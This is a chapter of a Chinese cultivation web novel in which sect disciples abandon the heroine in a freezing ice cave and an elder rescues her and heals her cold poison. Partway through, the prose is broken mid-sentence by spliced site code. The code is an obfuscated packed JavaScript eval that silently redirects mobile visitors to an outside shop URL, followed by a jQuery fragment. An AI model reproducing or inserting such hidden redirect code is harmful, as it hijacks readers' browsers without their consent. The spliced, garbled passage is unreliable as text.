翟秋果跑得飞快,心脏在胸腔里疯跳,再快一点,再快一点,跑到有人的地方,摆脱这群疯子。

    可她终究是忽略了彼此天赋与修为之间的巨大差距。

    身后的人群中不知是谁甩出一道捆仙索,那绳索破空而至,精准地缠住了她的小腿。她正在拼命奔跑,小腿陡然一紧,整个人便失了重心,重重扑摔在地。

    一个身材高状的男弟子走上前来,俯身看她,脸上带着狰狞笑意:“你还能跑得掉?”

    几个人同时围上前来,把翟秋果面朝下按在地上,她的双手被反剪在身后,整个人都被捆仙索捆了起来。

    翟秋果又惊又怕,眼泪不受控制地流淌下来,她拼命挣扎,可是在这群最低也是筑基期的弟子面前也如蚍蜉撼树一般无力。

    “你们要干嘛?放开我,绑架是犯法的!”

    “犯法?”那男弟子像是听见了什么极好笑的事情,哈哈大笑起来,“犯哪门子的法?我们替宗门清理合欢宗的奸细,宗门奖赏我们还来不及呢!”

    他们的笑声在空旷的湖边回荡,放肆又尖锐。

    几个弟子有说有笑地押着她,走在山后的小道上。

    “师姐,今日我可听说了她身患寒症,不如就把她丢寒冰洞窟里好了。”

    寒冰洞窟?

    翟秋果心头一凛,慌忙在脑海中发问:“系统,这个寒冰洞窟是个什么地方?”

    【回宿主,寒冰洞窟是隐剑锋背阴面形成万年了的天然冰洞,窟中常年结着不化的寒冰,寒气蚀骨,便是金丹期修士入内也撑不过半个时辰,在玄剑宗除了修炼寒系功法的弟子,从无人踏足。你身中寒毒,进入哪怕一炷香的时间,也会神仙难救。他们这是想杀你啊。】

    翟秋果:“!!!”这群混蛋!

    翟秋果再度剧烈挣扎起来,可押着她的弟子并不会对她温柔以待,那人在身后狠狠推了她一把,她整个人都踉跄着扑倒在碎石路上,膝盖里嵌入了尖利的碎石子,疼得她两眼发黑。

    山里的小道七拐八弯,就在他们行至一片紫竹林时,翟秋果隔着重重竹影,看见了沈回舟。

    他正在和叶青玄在竹林对剑。

    那一瞬间,翟秋果仿佛又看见了天使。

    她看见了沈回舟,以千疏月为首的几个弟子自然也看见了,生怕她发出声音将他引来,押着她的弟子反应极快,一把捂住了她的嘴,另一只手掐住她的后颈,将她整个人死死地箍在怀里。

    翟秋果被勒得喘不过气来,眼前水汽迷蒙的一片,她知道,如果现在错过了向沈回舟求救,等待她的就只有死路一条。

    她用尽最后的力气张开嘴巴,一口咬向那人的虎口处,他疼得瞬时松开了她,翟秋果借机拼命大喊:“沈回舟,救我——”

    “啊”字还没有出口,她的嘴巴又被人从后面死死捂住,“操,让你不老实!”翟秋果还在挣扎,颈后传来重击,她整个人的意识在那一瞬间就消散了。

    竹涛滚滚,碧浪翻涌,沈回舟忽然停下对练的动作,叶青玄剑尖止在他胸口处,不满地挑眉:“你今日怎么总是三心二意?”

    沈回舟没有理会他。

    他的目光穿过层叠的竹影,落在竹林深处。

    他似乎听见了翟秋果在喊他。

    呵,又是幻听吗?

    在剑冢七日,他总是能听见翟秋果以各种各样的声音喊他,喊得他道心大乱。

    他闭了闭眼,强行压下心头那一丝莫名的烦躁,定了定神,提剑刺去:“再来!”

    ……

    等翟秋果再恢复意识时她能感受到的只有彻骨的寒冷。

    “呦,醒了?”

    见她醒来,扛着她的弟子毫不留情地把她丢在湿冷的冰面上,翟秋果被摔得七荤八素,她艰难地掀开眼皮,才发现这里真的是一座巨大的冰窟。

    头顶是厚厚的冰壁,垂下无数尖利的冰锥,他们似乎仍在洞口处,还能看见外头泛白的天光。

    翟秋果下意识想要往外跑,却被千疏月毫不留情地一脚踢了回去。

    千疏月居高临下地看着她,那张温婉的脸此刻扭曲得几近狰狞:“你还想跑?今日这里就是你的葬身之地。”

    她猖狂地笑着,一边笑,一边在冰洞洞口处布下层层结界。

    翟秋果不死心地冲上前去,却被那结界狠狠地弹了回来。

    几人很快离去,吐息成霜的冰窟内很快就只剩下了翟秋果一个人。她趴在地上,试图站起来,却发现自己的四肢已经彻底僵了。

    寒气四面八方地往她骨子里侵蚀,她体内的寒症也在这极寒之处被彻底诱发。

    不知过了多久,或许只是几息的时间,她连颤抖都无力颤抖了,就连血液好似都结了冰。

    好冷,好想睡觉。

    是不是睡着了就不冷了?

    【宿主醒醒,宿主不能睡啊,你的生命体征正在迅速流失,如果睡着了你就再也醒不来了!】

    翟秋果努力掀开眼皮,看见的只有自己变得青紫还结着冰霜的手指。

    意识一层层下沉,她好像看见了很多画面,有阳光,有温泉,有一碗热气腾腾的米粥,最后,她好像又看见了沈辞渊。

    怎么会是他呢?

    他就在她面前,离她那样近,似乎她只要伸出手去就能碰到他。

    她努力抬起僵硬的手指,想要触碰他,然后整只手就被人家抓住了。

    温热缓慢地传递过来,她虚弱地笑了笑:“怎么是你?”

    怎么会是他呢?他很讨厌自己的,她死了他不应该开心吗?

    沈辞渊的脸色就更难看了,他松开她的手,解下外袍,将她的身体包裹住,冷声问:“你以为是谁?”

    “沈回舟吗?”

    翟秋果想要摇头来着,她以为在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938894|213817||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这个世界不会有人在乎她的生死,不过有个人能在自己死前送一送自己也挺好的。

    她靠在他怀里,气若游丝:“我要死了。”你也不用再担心我勾引你的侄子了。

    沈辞渊抱着她快速离开寒冰洞窟,笃定道:“你死不了。”

    翟秋果没再说话,靠在他怀里时呼吸几乎轻到没有了。

    沈辞渊垂眸看着怀里的人,一向红润的嘴唇此刻乌紫僵硬,脸也苍白的像雪。

    翟秋果看起来乖巧老实,实则却并不是一个听话的乖孩子,当她面临有关于沈回舟的抉择时,无论选择是什么,她都会义无反顾地选择沈回舟。

    就譬如今晨,他以命令的口吻让她先去泡温泉再去找沈回舟,而她呢,虽然表现得很害怕他,但还是选择了和他对着干。

    她沿着山道跑下山,又搭乘仙鹤飞往隐剑锋,最后攀爬至剑冢,足足耗费了两个时辰,最后呢,还不是被自己无情的侄子用不近人情的话语赶走了?

    ……

    太虚峰,沈辞渊的私人炼器房。

    地火熔炉烧得正旺,沈辞渊一脚踢开炼器房的门,将人靠着地火炉放着。

    若是寻常修士被寒冰洞窟的寒气侵入,地火的高温多半能直接驱散侵入体内的寒气,可翟秋果不同,她本就中了寒毒,现下寒毒被寒气激发,她经脉乃至五脏六腑都已被寒毒冰封,若不及时将寒毒逼出,不出半柱香的功夫,她的心脉便会彻底冻绝。

    “真是个麻烦。”

    沈辞渊捏开翟秋果下颚,给她喂下一颗天阶清寒丹。

    丹药入喉,化作炽热灵气,如同一只士气正浓的士兵,在她体内喊打喊杀地驱赶寒毒。可翟秋果只有练气二层修为,清寒丹虽士气浓,却也如一只无头苍蝇,蛮横地撞来撞去,根本无法深入经脉和肺腑,反而有将她经脉撑裂的风险。

    地火炉内火舌翻涌,赤色火光照映着沈辞渊的脸,将他的眉骨和下颌勾出一道极深的阴影。

    他低头看着怀里那张白得几乎透明的脸,又想起了师兄的话。

    翟秋果是回舟的天劫。

    若她今日死在这里呢?回舟可还有飞升的可能?

    既然不能确定,她的生命就不容有失。

    现下只有一技可施。

    沈辞渊把翟秋果揽在怀中,额头抵上她的额头。

    一道霸道而精纯的赤金色灵气便自他额间涌出,沈辞渊是天品单火灵根,他的灵气炽热非常,由眉心侵入,顺着全身经脉一路碾压至丹田肺腑。

    这是一个极其耗费神识的过程,翟秋果修为太低,他必须精准地控制灵力的强弱,防止她被他的灵力灼伤。

    赤红的灵力一遍遍冲刷着翟秋果本就细弱的经脉,像铸剑一般反复捶打磨炼,经过漫长的一夜,翟秋果体内的寒毒彻底被清除,而她原本只有练气二层的修为,也在一夜之间突破到了筑基大圆满。